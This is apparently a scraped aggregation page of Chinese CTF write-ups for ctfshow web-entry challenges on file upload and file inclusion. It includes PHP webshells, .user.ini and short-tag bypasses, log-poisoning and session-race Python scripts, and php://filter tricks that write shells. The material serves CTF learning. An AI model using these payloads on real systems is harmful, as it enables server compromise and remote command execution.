精华内容
下载资源
问答
  • 之前已经写了一部分了 补一下博客 给自己之后当笔记看看 这里写目录标题0x01 web153(前面两题懒得写博客了)0x02 web 154 0x01 web153(前面两题懒得写博客了) ...这个第一行是gif的文件头 之前写其他平台文件上传的时

    之前已经写了一部分了 补一下博客 给自己之后当笔记看看

    0x01 web153(前面两题懒得写博客了)

    首先题目环境大多是nginx 前面两题是前端验证 直接抓包改后缀就行
    这次不行了 所以说到nginx我们考虑到.uer.ini
    (.htaccess是apache下的)
    但是被挡下来了 于是上传.user.ini.png 内容是
    在这里插入图片描述

    然后抓包把后缀.png去掉 就可以
    这个第一行是gif的文件头 之前写其他平台文件上传的时候遇到的 不记得是哪个函数了 上传验证的那个函数是通过判断文件头来过滤的 第二行的内容 请自己学.user.ini这里不多解释

    然后 第二点是.user.ini在上传之后是有300秒还是多少的 生效时间 所以需要等一会
    然后在上传我们的a.png 蚁剑连上找到flag.php

    0x02 web 154-155

    首先给上羽师傅博客里写的 短标签绕过例子

    <?=system("tac ../f*");?>
    或者
    <?=(表达式)?>  等价于 <?php echo (表达式)?> //无限制
    <?=eval(@_POST['pass']);?>
    这里就是用一句话木马了!
    

    上传图片马说内容不合格 于是一个个试 我以为是过滤了php 但是羽师傅博客里说的是过滤了<xphp x为任意字符
    不过155好像是过滤的PHP? 其他的就跟上面一样了

    展开全文
  • 目录 web151-web152 ...然后修改文件后缀为png(题目限制),上传文件同时进行抓包,然后修改后缀php,然后蚁剑连接,找到flag 拿到flag~~~~ web153 使用.user.ini绕过 .user.ini 摘抄...

    目录

    web151-web152

    web153

    web154

    web155

    web156

    web157-web159

    web160

    web161


    web151-web152

    首先写一个一句哈:

    <?php @eval($_POST["1"]);?>

    然后修改文件后缀为png(题目限制),上传文件同时进行抓包,然后修改后缀php,然后蚁剑连接,找到flag

     

     

     拿到flag~~~~

    web153

    使用.user.ini绕过

    .user.ini

    摘抄其他大佬的解释:

    指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件

    上传.user.ini内容为auto_append_file="xxx"

    xxx为我们上传的文件名,这样在php文件上传了我们的木马文件

    步骤:

    首先我们上传一个.user.ini文件,内容如下,我们可以先添加一个.jpg的文件后缀再抓包,修改,再进行上传

    GIF89a
    auto_prepend_file=1.png

    然后我们再上传1.png

    <?php @eval($_POST["a"]);?>

    然后可以使用蚁剑连接,但是我蚁剑连接一直成功

    我的做法如下

    在index.php进行命令执行成功,说明我们的木马上传成功

     

    然后我们可以在这里直接进行命令执行,flag在上一级目录

     

    直接cat就好了

     

    web154

    此题和上一题的做法基本相等,都是先上传.user.ini,然后再上传木马文件,不同的是该题过滤掉了php

    短标签绕过

    1:<?= eval($_POST[1]);?>
    2:<? eval($_POST[1]);?>
    3:<% eval($_POST[1]);%>

    然后可以直接在网页进行命令执行,查看flag.php

    web155

    方法同上,依然是可以用短标签绕过,和.user.ini,

    web156

    方法也是如上,但是过滤掉了[],在强两题的基础把[]换成{}

    web157-web159

    大体和前面一样,不过过滤的东西更多了,(分号,{},system())等,所以我们可以直接构造命令执行就行,下面的方法可以把者三个题一把梭了

    .user.ini
    auto_append_file=1.png
    1.png
    <?=`tac ../f*`?>
    <?=`tac ../flag.?hp`?>

    依然是先上传.user.ini,然后我们在上传1.png,

    最后我们直接访问,不用在进行命令执行

    url/upload/index.php

    web160

    发现又过滤掉了东西,看了别人的wp,知道了emm,用日志包含绕过

    1.png
    <?=include"/var/lo"."g/nginx/access.lo"."g"?>

    然后上传.user.ini文件和图片

    然后访问网页,修改UA头信息

    User-Agent:<?php system('tac ../f*');?>

    然后直接访问/upload,得到flag

    web161

    在160的基础上,添加图片头就行了,GIF89A

    .user.ini
    GIF89A
    auto_prepend_file="/var/www/html/upload/1.png"
    1.png
    GIF89A
    <?=include"/var/lo"."g/nginx/access.lo"."g"?>

    展开全文
  • 文章目录web151-152web153web154-159web160web161 web151-152 hint是前台验证,那么直接先上传.png后缀的图片马,在burp中将.png改为.php即可,然后蚁剑连接拿到flag web153 这题我试了把后缀改为....

    web151-152

    hint是前台验证,那么直接先上传.png后缀的图片马,在burp中将.png改为.php即可,然后蚁剑连接拿到flag
    在这里插入图片描述

    web153

    这题我试了把后缀改为.Php .php2 .phtml 估计是服务器不解析的原因,在访问时只能把他们下载下来,因为这里是nginx,所以试了上传.user.ini,发现可行

    我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

    先上传一个.user.ini文件,

    GIF89a
    auto_prepend_file=1.png
    

    再上传1.png

    #define width 1337
    #define height 1337
     
    <?php @eval($_POST[a]);?>
    

    然后访问url/upload/index.php,flag在上一级目录的flag.php中

    web154-159

    这题需要修改一句话木马,改成

    #define width 1337
    #define height 1337
     
    <?=`tac ../f*`;?>
    

    这里可以使用短标签,php会将``中的内容当作代码去执行。
    在web157后,需要将最后的;删去

    #define width 1337
    #define height 1337
     
    <?=`tac ../f*`?>
    

    web160

    我初步的测试了下,过滤了空格 | ( | [ | { | ` |,那么这题可以选择日志包含。
    先上传.user.ini和图片,图片的内容是<?=include"/var/lo"."g/nginx/access.lo"."g"?>,然后在访问url时修改ua头为一句话木马即可
    在这里插入图片描述

    web161

    在上一题的基础上,增加了对图片头的检测,在图片.user.ini前面加上GIF89a即可

    展开全文
  • 前言:看题 web78: if(isset($_GET['file'])){ $file = $_GET['file'];...发现include是文件包含没错了,伪协议读取出来就可以了 exp:?file=php://filter/convert.base64-encode/resource=flag.php web79: ...

    前言:看题
    web78:

        if(isset($_GET['file'])){
            $file = $_GET['file'];
            include($file);
        }else{
            highlight_file(__FILE__);
        }
    发现include是文件包含没错了,伪协议读取出来就可以了

        exp:?file=php://filter/convert.base64-encode/resource=flag.php
    web79:

        if(isset($_GET['file'])){
            $file = $_GET['file'];
            $file = str_replace("php", "???", $file);
            include($file);
        }
    php替换了???,大小绕过,使用php://input
    exp:get:?file=Php://input  post:<?php system("tac flag.php");?>

    web80:

        if(isset($_GET['file'])){
            $file = $_GET['file'];
            $file = str_replace("php", "???", $file);
            $file = str_replace("data", "???", $file);
            include($file);
        }
    过滤了data,继续使用上题的exp即可

    web81:
    在上题的基础上又把:过滤了。这里使用日志包含来发包
    exp:

        import requests
        
        url = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log"
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
        }
        data = {
            'dotast': 'system("cat fl0g.php");'
        }
        req = requests.get(url=url, headers=headers)
        result = requests.post(url=url, data=data)
        print(result.text)
    web82:

        if(isset($_GET['file'])){ 
            $file = $_GET['file']; 
            $file = str_replace("php", "???", $file); 
            $file = str_replace("data", "???", $file); 
            $file = str_replace(":", "???", $file); 
            $file = str_replace(".", "???", $file); 
            include($file); 
        }else{ 
            highlight_file(__FILE__); 
        }
    这题又把.给过滤了使用日志文件包含就没作用了,这里可以使用session文件包含,php5.4之后默认选项:
    1.session.upload_progress.enabled = on
    2.session.upload_progress.cleanup = on
    3.session.upload_progress.prefix = “upload_progress_”
    4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
    5.session.use_strict_mode=off

    **第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
    第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
    第三和第四个prefix+name将表示为session中的键名
    第五个表示我们对Cookie中sessionID可控
    可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
    linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
    例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
    还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成**
    exp:

        import io
        import requests
        import threading
        url = 'http://453228ae-28f2-4bb0-b401-83514feae8df.chall.ctf.show:8080/'
        
        def write(session):
            data = {
                'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
            }
            while True:
                f = io.BytesIO(b'a' * 1024 * 10)
                response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
        def read(session):
            while True:
                response = session.get(url+'?file=/tmp/sess_flag')
                if 'dotast' in response.text:
                    print(response.text)
                    break
                else:
                    print('retry')
        
        if __name__ == '__main__':
            session = requests.session()
            for i in range(30):
                threading.Thread(target=write, args=(session,)).start()
            for i in range(30):
                threading.Thread(target=read, args=(session,)).start()

    web83-84通用82exp脚本

    web85:

        if(isset($_GET['file'])){
            $file = $_GET['file'];
            $file = str_replace("php", "???", $file);
            $file = str_replace("data", "???", $file);
            $file = str_replace(":", "???", $file);
            $file = str_replace(".", "???", $file);
            if(file_exists($file)){
                $content = file_get_contents($file);
                if(strpos($content, "<")>0){
                    die("error");
                }
                include($file);
            }
        }
    加了个die,没啥影响,在上一个脚本的基础多加点线程就可以了
    exp:

        import io
        import requests
        import threading
        url = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/'
        
        def write(session):
            data = {
                'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
            }
            while True:
                f = io.BytesIO(b'a' * 1024 * 10)
                response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
        def read(session):
            while True:
                response = session.get(url+'?file=/tmp/sess_flag')
                if 'dotast' in response.text:
                    print(response.text)
                    break
                else:
                    print('retry')
        
        if __name__ == '__main__':
            session = requests.session()
            for i in range(30):
                threading.Thread(target=write, args=(session,)).start()
            for i in range(30):
                threading.Thread(target=read, args=(session,)).start()
    web86同上exp脚本

    web87:

        if(isset($_GET['file'])){
            $file = $_GET['file'];
            $content = $_POST['content'];
            $file = str_replace("php", "???", $file);
            $file = str_replace("data", "???", $file);
            $file = str_replace(":", "???", $file);
            $file = str_replace(".", "???", $file);
            file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
        }
    将一句话base64编码,又因为phpdie为6个字符,再+两个字符正好8个,在解码的时候会忽略掉<?php die('大佬别秀了');?>
    注意源码有一次解码,所以url加密两次
    exp:

        import requests
        
        url = "http://67365af2-c5a6-4b3c-8900-25c85ed1d8cc.chall.ctf.show:8080/"
        #经过两次url编码的php://filter/write=convert.base64-decode/resource=dotast.php
        get_data = "%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30"
        get_url = url + "?file=" + get_data
        data = {
            'content': 'nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg=='
        }
        res = requests.post(url=get_url, data=data)
        shell_url = url + "dotast.php"
        test = requests.get(shell_url)
        if(test.status_code == 200):
            print("[*]getshell成功")
            shell_data = {
                'pass': 'system("cat fl0g.php");'
            }
            result = requests.post(url=shell_url, data=shell_data)
            print(result.text)

    web88:

        if(isset($_GET['file'])){
            $file = $_GET['file'];
            if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
                die("error");
            }
            include($file);
        }
    过滤了php,没过滤data,使用data协议进行包含,base64编码一下
    exp:

        ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
    web116:本地包含漏洞,盲猜下路径,包含flag就可以
    exp:/index.php?file=/var/www/html/flag.php

    web117:

        <?php
        highlight_file(__FILE__);
        error_reporting(0);
        function filter($x){
            if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
                die('too young too simple sometimes naive!');
            }
        }
        $file=$_GET['file'];
        $contents=$_POST['contents'];
        filter($file);
        file_put_contents($file, "<?php die();?>".$contents); 
    过滤了base64,就不能使用base64编码绕过前面的phpdie了,这里引用了一个新的思路
    convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
    iconv ( string $in_charset , string $out_charset , string $str ):将字符串$str从in_charset编码转换到$out_charset
    这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

        $result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[dotast]);?>');
        echo "经过一次反转:".$result."\n";
        echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
        
        //输出结果如下:
        //经过一次反转:?<hp pe@av(l_$OPTSd[tosa]t;)>?
        //经过第二次反转:<?php @eval($_POST[dotast]);?>
    经过两次反转之后代码又组装回来,思路就是用经过一次反转后的webshell和死亡代码<?php die();?>一起组合之后,经过第二次反转我们的webshell就恢复正常了,而死亡代码会被反转打乱不能执行
    exp:

        import requests
        
        url = "http://8a412388-9727-4ea0-8b0d-1f144f2d1a87.chall.ctf.show:8080/"
        get_data = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=dotast.php"
        get_url = url + "?file=" + get_data
        data = {
            'contents': '?<hp pe@av(l_$OPTSd[tosa]t;)>?'
        }
        res = requests.post(url=get_url, data=data)
        shell_url = url + "dotast.php"
        test = requests.get(shell_url)
        if(test.status_code == 200):
            print("[*]getshell成功")
            shell_data = {
                'dotast': 'system("cat flag.php");'
            }
            result = requests.post(url=shell_url, data=shell_data)
            print(result.text)
     

    展开全文
  • 文章目录web78web79web80-81web82-86web87web88web116web117参考链接 web78 <?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 第一题是最基础的...
  • 思路就是通过上传PHP_SESSION_UPLOAD_PROGRESS来访问/tmp/sess_xxx,从而进行文件包含 原理可以看这篇文章利用session.upload_progress进行文件包含和反序列化渗透 其中主要的几点 首先上传...
  • ctfshow web入门文件包含78-117

    千次阅读 2020-11-05 11:02:40
    web82 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 19:34:45 # @email: h1xa@ctfer.com # @link: ...
  • hhh 还是懒 链接:https://pan.baidu.com/s/1jAxmXznCWTm0UdXPc8VvCg 提取码:m9bw 复制这段内容后打开百度网盘手机App,操作更方便哦
  • Ctfshow web入门-web32

    2021-05-13 20:20:24
    Ctfshow web入门-web32 WP 拿到url,首先查看源码 过滤了以下字符串 flag|system|php|cat|sort|shell|.| |’|`|echo|;|( 过滤了空格可以用${IFS}和%0a 代替,分号可以用?>代替 但是过滤了括号之后就不能用带有...
  • CTFSHOW WEB入门

    2021-10-11 20:06:25
    ----------信息搜集---------- 源码泄露 查看源码即可 前台JS绕过 直接开发者工具查看源码 当然也可以抓包查看 也可以禁用js查看源码 协议头信息泄露 或者抓一下包也可 ...git代码泄露,git上传代码会在目录创
  • ctfshow-web入门 文件上传篇部分题解

    千次阅读 2021-03-06 16:25:33
    ctfshow文件上传web151-152web153(.user.ini绕过).user.iniweb154-155(短标签绕过+.user.ini绕过)短标签绕过web156web157-159web160(日志包含绕过)web161web162-163(session文件包含+条件竞争)条件竞争web164(png...
  • ctfshow web入门 ticks

    2020-11-05 18:08:31
    目录信息搜集web5web6web14web16web19web20爆破web21命令执行(RCE)web31web32-36web37/39web38web40web41web42web52web54web55web56sqlweb174web175 信息搜集 web5 php文件泄露,访问index.phps web6 常见文件备份...
  • CtfShow Web入门-命令执行 感谢Y4师傅!看Y4的Wp真的学到好多! Web31 过滤条件: flag\system\php\cat\sort\shell\小数点\空格\单引号 执行passthru()查看flag 绕过cat使用tac more less head tac tail nl od(二...
  • 文章目录web1web2web3web4web5web6web7web8web9web10web11web12web13web14web15web16web17web18web19web20 web1 f12查看源码得到flag web2 进去后显示无法查看源码,按f12、右击鼠标均无反应,在url前输入view-...
  • CTFShow web入门刷题记录-爆破

    千次阅读 2020-11-29 22:43:06
    CTFShow web入门刷题记录-爆破 web21 先下载提供的密码包,查看hint得知考点为tomcat 账号提示为amdin,点击提交并使用burpsuit抓包 发现底下为一串经过base64编码的文字,翻译后得知为admin: 得知提交格式为:账号...
  • Web29 题目:命令执行,需要严格的过滤 源码: <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @...
  • 前面的一篇文章和这道题一样的做法 无字母数字的命令执行(ctfshow web入门 55) 需要注意的是:每次上传文件不一定有大写的文件名,需要多上传几次
  • web188 在where username=0这样的查询中,因为username都会是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,因此这个where可以把所有以字母开头的数据查出来。 而password=0的...
  • 前言:做一下ctfshow web入门远程命令执行题,这里记录下,刚小白也是刚学web方向的题,大佬勿喷。。。 web29 具体分析在代码里: <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-...
  • web133 web134 web135 web136 web137 web138 web139 web140 web141 web142 wen143 web144 web145-web150 web133 error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ ...
  • CTFSHOWweb入门文件包含 web78 if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); } 没有过滤,一开始想直接包含flag.php,发现一片空白。使用...

空空如也

空空如也

1 2 3 4 5 ... 7
收藏数 140
精华内容 56
关键字:

ctfshowweb入门文件上传